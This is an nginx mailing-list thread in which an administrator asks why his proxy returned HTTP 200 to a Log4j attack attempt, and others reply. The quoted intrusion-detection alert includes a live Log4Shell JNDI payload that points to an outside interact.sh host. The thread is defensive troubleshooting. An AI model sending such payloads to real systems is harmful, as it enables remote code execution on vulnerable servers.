[EXTERNAL] Help request about Log4j attack attempts and NGINX logs meaning

[Mauro Tridici]

Hi Justin,

thank you very much for your help.
Since I’m a newbie, I would like to ask you additional details in order to “fix” this behaviour  (if it shouuld be fixed).

What is the meaning of “GET /“? Does It mean that the attacker is trying to GET something from the / path of the server (sorry for my stupid question)?
How can I check and change the current nginx configuration ?

Thank you in advance,
Mauro

> On 29 Dec 2021, at 19:12, Slaughter, Justin D <Justin.Slaughter at charter.com> wrote:
> 
> Nginx is returning a 200 because the request is a "GET /", and I am assuming your nginx configurations allow GETs to "/".
> 
> Justin
> 
> On 29/12/2021, 10:20 AM, "nginx on behalf of Mauro Tridici" <nginx-bounces at nginx.org on behalf of mauro.tridici at cmcc.it> wrote:
> 
>    CAUTION: The e-mail below is from an external source. Please exercise caution before opening attachments, clicking links, or following guidance.
> 
>    Thank you very much for your reply. I really appreciated it.
>    I’ll wait for the final gurus feedback too.
> 
>    Mauro
> 
>> On 29 Dec 2021, at 18:03, lists <lists at lazygranch.com> wrote:
>> 
>> That IP space is certified shady. I detect the occasional hack from them. See 
>> 
>> https://krebsonsecurity.com/2019/08/the-rise-of-bulletproof-residential-networks/
>> 
>> and
>> 
>> https://wirelessdataspco.org/faq.php
>> 
>> These wireless companies will do anything for money including leasing their IP space. 
>> 
>> I don't block the IP space since it could be from normal users. Plus plenty of hacking comes from actual wireless providers customers. But I am appalled highly profitable wireless providers lease ipv4 space to hackers for what is pocket change for them. 
>> 
>> I will leave it up to the gurus to parse the log.  
>> 
>> 
>> 
>> 
>> 
>> 
>> 	  Original Message  	
>> 
>> 
>> From: mauro.tridici at cmcc.it
>> Sent: December 29, 2021 6:55 AM
>> To: nginx at nginx.org
>> Reply-to: nginx at nginx.org
>> Subject: Help request about Log4j attack attempts and NGINX logs meaning
>> 
>> 
>> 
>> 
>> Dear Users,
>> 
>> 
>> I have an old instance of NGINX (v.1.10.1) running as proxy server on a dedicated hardware platform.
>> Since the proxy service is reachable from internet, it is constantly exposed to cyber attacks.
>> In my particular case, it is attacked by a lot of Log4j attack attempts from several malicious IPs.
>> 
>> 
>> At this moment, an host intrusion detection system (HIDS) is running and is protecting the NGINX server: it seems it is blocking every malicious attack attempts.
>> Anyway, during the last attack mail notification sent by the HIDS, I noticed that the NGINX server response was “HTTP/1.1 200” and I’m very worried about it.
>> Log4j and Java packages are NOT installed on the NGINX server and all the servers behind the proxy are not using Log4j.
>> 
>> 
>> Could you please help me to understand the reason why the NGINX server answer was “HTTP/1.1 200”!?
>> 
>> 
>> You can see below the mail notification I received:
>> 
>> 
>> 
>> Attack Notification.
>> 2021 Dec 28 20:45:59
>> 
>> Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
>> Src IP: 166.137.252.110
>> Portion of the log(s):
>> 
>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a} HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
>> 
>> 
>> Thank you in advance,
>> Mauro 
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> 
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